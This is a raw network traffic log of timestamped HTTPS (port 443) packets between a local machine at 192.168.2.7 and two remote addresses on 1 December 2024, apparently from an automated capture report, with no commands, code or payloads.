Dec 1, 2024 03:33:10.787041903 CET	443	49839	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:10.787198067 CET	49839	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:10.787352085 CET	49839	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:10.787365913 CET	443	49839	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:10.911827087 CET	443	49834	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:10.912398100 CET	49834	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:10.912427902 CET	443	49834	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:10.912904024 CET	49834	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:10.912910938 CET	443	49834	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:11.201556921 CET	443	49835	184.30.17.174	192.168.2.7
Dec 1, 2024 03:33:11.201637030 CET	443	49835	184.30.17.174	192.168.2.7
Dec 1, 2024 03:33:11.201889992 CET	49835	443	192.168.2.7	184.30.17.174
Dec 1, 2024 03:33:11.201941013 CET	49835	443	192.168.2.7	184.30.17.174
Dec 1, 2024 03:33:11.201958895 CET	443	49835	184.30.17.174	192.168.2.7
Dec 1, 2024 03:33:11.201968908 CET	49835	443	192.168.2.7	184.30.17.174
Dec 1, 2024 03:33:11.201977968 CET	443	49835	184.30.17.174	192.168.2.7
Dec 1, 2024 03:33:11.229954004 CET	443	49836	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:11.231079102 CET	49836	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:11.231093884 CET	443	49836	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:11.231671095 CET	49836	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:11.231679916 CET	443	49836	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:11.244105101 CET	49842	443	192.168.2.7	184.30.17.174
Dec 1, 2024 03:33:11.244143009 CET	443	49842	184.30.17.174	192.168.2.7
Dec 1, 2024 03:33:11.244419098 CET	49842	443	192.168.2.7	184.30.17.174
Dec 1, 2024 03:33:11.244877100 CET	49842	443	192.168.2.7	184.30.17.174
Dec 1, 2024 03:33:11.244889021 CET	443	49842	184.30.17.174	192.168.2.7
Dec 1, 2024 03:33:11.254105091 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:11.254143953 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:11.254204035 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:11.254534006 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:11.254548073 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:11.355494022 CET	443	49834	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:11.358688116 CET	443	49834	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:11.358740091 CET	49834	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:11.358741999 CET	443	49834	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:11.358804941 CET	49834	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:11.358829975 CET	49834	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:11.358844995 CET	443	49834	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:11.358875990 CET	49834	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:11.358880997 CET	443	49834	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:11.362111092 CET	49844	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:11.362149000 CET	443	49844	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:11.362478018 CET	49844	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:11.363260031 CET	49844	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:11.363279104 CET	443	49844	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:11.673748970 CET	443	49836	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:11.677038908 CET	443	49836	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:11.677100897 CET	49836	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:11.677174091 CET	49836	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:11.677207947 CET	443	49836	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:11.677222967 CET	49836	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:11.677228928 CET	443	49836	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:11.679836988 CET	49845	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:11.679860115 CET	443	49845	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:11.679933071 CET	49845	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:11.680162907 CET	49845	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:11.680183887 CET	443	49845	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:11.681566954 CET	49846	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:11.681611061 CET	443	49846	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:11.681706905 CET	49846	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:11.681879997 CET	49846	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:11.681890011 CET	443	49846	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:11.933496952 CET	443	49837	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:11.935492992 CET	49837	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:11.935518980 CET	443	49837	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:11.937042952 CET	49837	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:11.937052011 CET	443	49837	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:12.305752039 CET	443	49838	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:12.357012987 CET	49838	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:12.380753040 CET	443	49837	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:12.383824110 CET	443	49837	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:12.383884907 CET	443	49837	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:12.383960009 CET	49837	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:12.408866882 CET	49838	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:12.408885002 CET	443	49838	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:12.409384966 CET	49838	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:12.409389973 CET	443	49838	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:12.410131931 CET	49837	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:12.410131931 CET	49837	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:12.410164118 CET	443	49837	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:12.410173893 CET	443	49837	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:12.413759947 CET	49847	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:12.413785934 CET	443	49847	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:12.413847923 CET	49847	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:12.413959980 CET	49847	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:12.413970947 CET	443	49847	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:12.574060917 CET	443	49839	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:12.574500084 CET	49839	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:12.574516058 CET	443	49839	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:12.574902058 CET	49839	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:12.574906111 CET	443	49839	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:12.669349909 CET	443	49842	184.30.17.174	192.168.2.7
Dec 1, 2024 03:33:12.669420958 CET	49842	443	192.168.2.7	184.30.17.174
Dec 1, 2024 03:33:12.670783043 CET	49842	443	192.168.2.7	184.30.17.174
Dec 1, 2024 03:33:12.670788050 CET	443	49842	184.30.17.174	192.168.2.7
Dec 1, 2024 03:33:12.671030998 CET	443	49842	184.30.17.174	192.168.2.7
Dec 1, 2024 03:33:12.672049046 CET	49842	443	192.168.2.7	184.30.17.174
Dec 1, 2024 03:33:12.719333887 CET	443	49842	184.30.17.174	192.168.2.7
Dec 1, 2024 03:33:12.740292072 CET	443	49838	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:12.740551949 CET	443	49838	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:12.740680933 CET	49838	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:12.740782022 CET	49838	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:12.740802050 CET	443	49838	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:12.740812063 CET	49838	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:12.740818977 CET	443	49838	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:12.743597984 CET	49848	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:12.743650913 CET	443	49848	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:12.743813038 CET	49848	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:12.743949890 CET	49848	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:12.743966103 CET	443	49848	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:12.972678900 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:12.972904921 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:12.972929001 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:12.973969936 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:12.974035978 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:12.974987030 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:12.975050926 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:12.975117922 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:12.975126028 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.016551018 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.021521091 CET	443	49839	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.021586895 CET	443	49839	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.021637917 CET	49839	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.021905899 CET	49839	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.021922112 CET	443	49839	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.021948099 CET	49839	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.021955967 CET	443	49839	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.025259972 CET	49849	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.025299072 CET	443	49849	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.025396109 CET	49849	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.025770903 CET	49849	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.025788069 CET	443	49849	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.146250963 CET	443	49844	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.146761894 CET	49844	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.146784067 CET	443	49844	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.147769928 CET	49844	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.147778034 CET	443	49844	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.198309898 CET	443	49842	184.30.17.174	192.168.2.7
Dec 1, 2024 03:33:13.198399067 CET	443	49842	184.30.17.174	192.168.2.7
Dec 1, 2024 03:33:13.198461056 CET	49842	443	192.168.2.7	184.30.17.174
Dec 1, 2024 03:33:13.199201107 CET	49842	443	192.168.2.7	184.30.17.174
Dec 1, 2024 03:33:13.199218035 CET	443	49842	184.30.17.174	192.168.2.7
Dec 1, 2024 03:33:13.199223995 CET	49842	443	192.168.2.7	184.30.17.174
Dec 1, 2024 03:33:13.199229002 CET	443	49842	184.30.17.174	192.168.2.7
Dec 1, 2024 03:33:13.464409113 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.464432001 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.464469910 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.464482069 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.464493036 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.464509964 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.464521885 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.464565039 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.464565039 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.464587927 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.465714931 CET	443	49846	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.466037989 CET	49852	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.466082096 CET	443	49852	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.466140985 CET	49852	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.466295958 CET	49846	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.466314077 CET	443	49846	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.466830015 CET	49852	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.466842890 CET	443	49852	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.467355013 CET	443	49846	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.467427015 CET	49846	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.468312979 CET	49846	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.468374014 CET	443	49846	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.468472958 CET	49846	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.468482018 CET	443	49846	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.519129992 CET	49846	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.525216103 CET	443	49845	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.525655985 CET	49845	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.525666952 CET	443	49845	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.526089907 CET	49845	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.526103973 CET	443	49845	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.590850115 CET	443	49844	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.593889952 CET	443	49844	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.594017982 CET	49844	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.594017982 CET	49844	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.594331026 CET	49844	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.594352961 CET	443	49844	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.598516941 CET	49853	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.598562956 CET	443	49853	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.598648071 CET	49853	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.598814964 CET	49853	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.598836899 CET	443	49853	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.646821976 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.646838903 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.646979094 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.647001028 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.647023916 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.647056103 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.694048882 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.694066048 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.694128036 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.694142103 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.694184065 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.694257975 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.822609901 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.822637081 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.822712898 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.822732925 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.822959900 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.851824045 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.851843119 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.851896048 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.851908922 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.851982117 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.871803045 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.871823072 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.871889114 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.871898890 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.871934891 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.871934891 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.891364098 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.891381025 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.891441107 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.891448021 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.891468048 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.891498089 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.958724022 CET	443	49846	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.958736897 CET	443	49846	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.958746910 CET	443	49846	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.958822012 CET	49846	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.958836079 CET	443	49846	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.958864927 CET	443	49846	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.958915949 CET	443	49846	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.958950043 CET	49846	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.958967924 CET	49846	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.978415966 CET	443	49845	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.981786013 CET	443	49845	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.981844902 CET	443	49845	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.981906891 CET	49845	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.981955051 CET	49845	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.981955051 CET	49845	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.981978893 CET	443	49845	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.981987000 CET	443	49845	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.984746933 CET	49854	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.984791994 CET	443	49854	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:13.984855890 CET	49854	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.985337973 CET	49854	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:13.985352993 CET	443	49854	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.003173113 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.003207922 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.003264904 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.003283978 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.003298998 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.003704071 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.020204067 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.020231962 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.020344973 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.020371914 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.020555019 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.035432100 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.035460949 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.035515070 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.035537958 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.035572052 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.035861969 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.048593998 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.048619032 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.048687935 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.048688889 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.048717022 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.048757076 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.064723969 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.064749956 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.064841986 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.064841986 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.064861059 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.065010071 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.075464964 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.075500965 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.075562954 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.075562954 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.075566053 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.075732946 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.075870037 CET	49843	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.075881004 CET	443	49843	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.150512934 CET	443	49846	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.150552988 CET	443	49846	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.150612116 CET	49846	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.150630951 CET	443	49846	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.150676012 CET	49846	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.150676012 CET	49846	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.203195095 CET	443	49846	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.203218937 CET	443	49846	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.203270912 CET	49846	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.203289032 CET	443	49846	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.203308105 CET	443	49846	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.203329086 CET	49846	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.203339100 CET	49846	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.219150066 CET	49855	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.219183922 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.219249964 CET	49855	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.219727993 CET	49855	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.219739914 CET	443	49855	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.233783007 CET	443	49846	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.233839989 CET	443	49846	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.233870983 CET	49846	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.233943939 CET	49846	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.234193087 CET	49846	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.234204054 CET	443	49846	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.258097887 CET	443	49847	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.258652925 CET	49847	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.258667946 CET	443	49847	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.259161949 CET	49847	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.259167910 CET	443	49847	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.387976885 CET	49858	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.388012886 CET	443	49858	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.388079882 CET	49858	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.388313055 CET	49858	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.388319016 CET	443	49858	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.588171005 CET	443	49848	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.590396881 CET	49848	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.590441942 CET	443	49848	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.590912104 CET	49848	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.590922117 CET	443	49848	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.711182117 CET	443	49847	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.714565992 CET	443	49847	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.714618921 CET	49847	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.715457916 CET	49847	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.715476036 CET	443	49847	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.800657034 CET	49859	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.800681114 CET	443	49859	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.800909996 CET	49859	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.802539110 CET	49859	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:14.802552938 CET	443	49859	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.871143103 CET	443	49849	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:14.922147036 CET	49849	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:15.005590916 CET	49849	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:15.005601883 CET	443	49849	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:15.006159067 CET	49849	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:15.006169081 CET	443	49849	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:15.040857077 CET	443	49848	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:15.044384003 CET	443	49848	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:15.044457912 CET	49848	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:15.046407938 CET	49848	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:15.046432972 CET	443	49848	13.107.246.63	192.168.2.7
Dec 1, 2024 03:33:15.046448946 CET	49848	443	192.168.2.7	13.107.246.63
Dec 1, 2024 03:33:15.046457052 CET	443	49848	13.107.246.63	192.168.2.7
